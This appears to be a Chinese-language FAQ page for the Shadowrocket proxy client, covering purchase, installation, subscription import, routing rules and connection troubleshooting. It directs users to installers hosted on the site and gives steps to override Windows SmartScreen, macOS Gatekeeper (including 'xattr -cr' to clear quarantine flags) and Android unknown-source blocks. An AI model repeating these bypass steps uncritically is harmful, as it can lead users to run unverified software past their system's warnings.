官方手册 / 问题索引

Shadowrocket
常见问题

从获取与安装,到已有订阅导入、规则分流与连接排查。先定位问题发生的环节,再逐项核对。

01 / GET & RESTORE

正版与购买

核对设备、商店与购买记录。应用的获取记录,不等于连接服务或配置备份。

电脑和安卓能用 Shadowrocket 吗?价格有什么区别?

能。iPhone / iPad 版从 App Store 以 $2.99 一次性付费获取,Mac / Windows / 安卓 / Linux 版免费。Mac 提供 Apple 芯片版与 Intel 版。电脑、安卓和 Linux 的安装包从本站下载页获取,文件地址位于本站 /dl/shadowrocket/ 下;不要把其他平台的安装文件用于当前设备。

如何核对 App Store 中的正版条目?

打开产品详情页,逐项核对名称 Shadowrocket、开发者 Shadow Launch Technology Limited,以及产品链接中的应用 ID 932747118。图标应与本站页头的官方图标一致,不能只凭搜索标题或火箭图案判断。名称接近但开发者或应用 ID 不同的条目不能作为同一应用处理;电脑与安卓则从本站下载页取得对应安装包。

iPad 能安装吗?是否与 iPhone 通用?

可以。iPhone / iPad 版在 App Store 以 $2.99 一次性购买,两种设备通用;Mac / Windows / 安卓 / Linux 版免费。在 iPad 使用原购买 Apple Account 打开产品页或已购项目下载,系统要求以 App Store 页面标注为准。应用购买记录与连接配置是两回事,安装完成后仍需导入用户已有的订阅或服务器信息。

换机或重装后,还需要重新购买吗?

iPhone / iPad 版 App Store $2.99 一次性付费,Mac / Windows / 安卓 / Linux 版免费。iPhone 或 iPad 换机后,使用原购买 Apple Account 在 App Store 的已购项目中查找并重新下载;若出现购买按钮,先核对账号、商店地区和购买记录,不要急于再次付款。其他平台重新下载对应安装包即可。应用重新安装不等于原有 Config 和订阅自动恢复,换机前应另行备份。

购买客户端是否包含连接所需的线路?

不包含。客户端一次性买断 ≠ 线路套餐。iPhone / iPad 版在 App Store 以 $2.99 一次性付费获取,Mac / Windows / 安卓 / Linux 版免费;这里的价格指客户端本身。连接前需要用户已有自己的订阅或服务器信息,导入后还应核对其有效状态与协议参数。本站是官网与官方手册,不提供、不销售、不推荐节点或订阅。

02 / INSTALL & PERMISSIONS

安装与首次打开

先确认文件来源与设备架构,再处理系统权限。系统拦截与连接失败需要分别排查。

Mac 应选 Apple 芯片版还是 Intel 版?

先在苹果菜单打开“关于本机”。显示“芯片”并列出 Apple 芯片名称时,选择 Mac Apple 芯片版;显示 Intel 处理器时,选择 Mac Intel 版。两个按钮均在本站下载页的 Mac 分区,按硬件选择,不按系统界面语言选择。打开 dmg 后将应用移到 Applications;首次打开若提示无法验证开发者,确认文件来自本站后,再到隐私与安全性按提示处理。

Windows 出现 SmartScreen 风险提示,如何处理?

先确认安装文件由本站下载页取得,下载地址属于本站 /dl/shadowrocket/,并确认当前操作是安装 Shadowrocket。SmartScreen 提示时,可在“更多信息”中查看文件信息,再选择“仍要运行”。若设备由单位管理,或安全工具明确报告具体威胁,应先停止并核对,不要关闭整套系统防护;没有放行按钮时也不要反复更改系统策略。

Mac 提示无法验证开发者或应用已损坏,怎么办?

先确认芯片版本正确、文件来自本站,并已将应用放入 Applications。提示无法验证开发者时,到系统设置的隐私与安全性查看本次拦截记录,选择“仍要打开”并确认。若仍提示已损坏,先重新下载;确认来源后,可在 Terminal 执行 xattr -cr /Applications/Shadowrocket.app 再打开。该命令只处理指定应用的扩展属性,不应用于来源不明的文件。

安卓无法安装,或在微信内不能下载,怎么办?

先用系统浏览器打开本站下载页,取得安卓版 apk;微信内的网页环境可能拦截下载或安装跳转。在系统设置中,为实际打开安装文件的浏览器或文件管理器临时开启“允许安装未知应用”,完成后可关闭该权限。若仍安装失败,检查存储空间、文件是否下载完整及设备架构是否匹配;遇到明确的安全告警,先停止并核对文件来源。

连接开关打不开,或 VPN 权限窗口反复出现,怎么办?

先选中一条已导入的服务器记录,再打开连接开关,并阅读系统弹出的 VPN 配置授权。若权限被拒绝,返回系统 VPN 设置检查 Shadowrocket 对应记录与设备管理限制;其他正在工作的 VPN 配置也可能产生冲突。先停用冲突连接,再重新授权。受管理设备应联系管理员;删除配置或重装前先备份 Config 和已有订阅信息。

界面是英文,如何找到教程中的设置?

本手册保留界面英文名称,便于按原文查找:Home 用于查看连接条目,Add Server 用于填写服务器信息,Config 管理配置文件,Settings 查看设置,Global Routing 选择连接处理方式。若系统提供应用语言选项,可在系统的应用设置中查看;选项是否出现以当前系统与应用实际显示为准。不要为切换显示语言而修改协议字段、策略名称或规则关键字。

03 / IMPORT & BACKUP

订阅与节点导入

将已有信息放入正确入口。先区分服务器记录、订阅与 Config,再判断导入结果。

已有订阅导入失败,应按什么顺序检查?

先确认复制的是用户已有的完整订阅链接,而不是介绍页面或登录页面;检查首尾空格、换行和复制遗漏。再核对本地网络能否访问该地址,以及订阅是否仍有效。若提示格式错误,查看返回内容是否实际为网页、错误信息或需要登录的内容。保留错误原文逐项定位,不要反复批量导入;向他人求助时遮盖链接中的凭据和个人信息。

更新 Subscribe 后,原来的服务器条目变了,正常吗?

订阅更新会按远端返回内容刷新该订阅下的记录,名称、地址或可用条目可能变化。更新前记下当前选中项,并备份手动修改的重要字段;更新后检查选中记录是否仍存在、是否被替换,以及策略引用是否仍能找到对应名称。若旧记录消失,不要直接认定应用故障,应先核对订阅返回内容,并与用户原有服务的说明逐项比对。

Scan QR Code 识别成功,却没有可用记录,为什么?

二维码能够识别,不代表内容一定是可导入的服务器信息。先确认其内容类型是单条服务器链接、订阅链接还是普通网页,再选择相应导入入口。图片模糊、截图被裁切或二维码过期也会影响结果;从相册读取时应检查系统照片访问权限。导入后到 Home 核对协议、地址和端口,不要只凭扫描完成提示判断连接已经配置好。

手动 Add Server 时,需要逐项核对哪些参数?

先按用户已有信息选择协议,再逐项核对服务器地址、端口和认证字段。不同协议可能还要求加密方式、UUID、TLS、SNI、传输方式或路径,不能把其他协议的参数机械照填。地址栏不要混入多余空格,端口与认证内容按原记录保留。保存后先做 Connectivity Test,再尝试实际请求;测试失败时回到原始信息逐项对照,而不是同时改动多个字段。

订阅链接和 Config 文件有什么区别?

订阅通常用于更新一组服务器记录,Config 则用于组织规则、策略与其他配置内容,两者解决的问题不同。导入订阅后不代表已经选中了合适的 Config;切换 Config 也不代表服务器记录会自动更新。遇到有条目但分流不符合预期时,应分别检查 Home 的选中记录、Config 的当前文件,以及 Global Routing 的姿态,不要把三处状态混为一项。

换设备时,怎样备份订阅和配置?

先导出当前 Config,并单独记录已有订阅的导入信息与手动服务器参数;导出内容包含哪些字段,应以实际文件检查结果为准。将备份存入自己控制的受保护位置,不要上传到公开页面。新设备安装后先恢复配置,再核对订阅、选中项和 Global Routing,最后授权连接并测试。备份文件可能包含认证信息,向他人展示前应删除敏感字段。

04 / ROUTING & DIAGNOSTICS

规则与分流 / 故障排查

连接开关、服务器可达性与规则命中是不同层次。使用相同目标、相同网络对照测试。

Global Routing 的 Config、Proxy、Direct 三种姿态怎么选?

配置(Config)按当前配置中的规则决定动作,适合已经准备好规则的日常使用;代理(Proxy)用于让流量按代理方式处理,适合临时核对代理连接;直连(Direct)用于核对直接联网的表现。诊断时每次只切换一个姿态,并用同一目标重复测试。Proxy 不是自动修复,Direct 也不等于全部网络设置已复原,具体行为仍受系统路由、DNS 与当前配置影响。

显示已连接,但网页打不开,应先排查什么?

先断开连接,确认本地网络本身能够联网;再核对 Home 中选中的服务器记录及 Connectivity Test 结果。恢复连接后,用同一目标比较 Direct、Proxy 与 Config 的表现:仅 Config 失败时优先查规则和策略引用,Proxy 也失败时核对服务器参数与服务状态。若域名请求失败而基础连接正常,再检查 DNS 配置;同时确认设备日期、时间与时区正确。

Connectivity Test 显示超时,是否说明整个应用不可用?

不能仅凭一次超时得出这个结论。测试目标、网络路径和服务器响应都会影响结果,先在本地网络正常的前提下重复测试,再核对地址、端口、认证字段、TLS 与系统时间。比较同一记录在不同本地网络下的表现有助于缩小范围,但不要同时改协议和规则。保留具体错误与发生条件;单项测试通过也不代表所有域名、协议和规则路径都能正常工作。

规则没有按预期分流,应该检查哪几处?

先确认 Global Routing 为 Config,并确认当前启用的是刚刚编辑的配置文件。规则通常从上往下匹配,较宽泛的前置规则可能先命中;再检查 DOMAIN、DOMAIN-SUFFIX、GEOIP、IP-CIDR 等关键字的格式,以及规则引用的策略是否存在。PROXY、DIRECT、REJECT 是动作,不是服务器地址。若前面没有命中,最后检查 FINAL 的兜底动作是否符合预期。

On Demand 让连接反复启动,怎样定位原因?

先记录当前 On Demand 条件,再临时关闭 On Demand,改为手动连接并观察同一网络环境。若手动连接稳定,优先核对按需条件、Wi-Fi 与蜂窝网络切换及系统 VPN 状态;若仍中断,再回到服务器和本地网络排查。修改后一次只启用一个条件,避免多个条件交替触发。受设备管理策略控制的设置可能无法更改,应由管理员确认,而不是反复删除系统配置。

连接后耗电增加,Data 数字又与系统不同,怎么判断?

先在系统电池设置中查看相同时间段的后台活动,同时检查是否存在频繁重连、持续测试或大量后台传输。弱信号和网络切换也会增加耗电,不宜只根据连接时长判断。Data 与系统统计可能采用不同的统计范围、时间窗口和重置方式,不能直接当作同一账单比较。排查时固定网络、停止主动测试,再记录一段使用情况;清空统计前先保存需要对照的数据。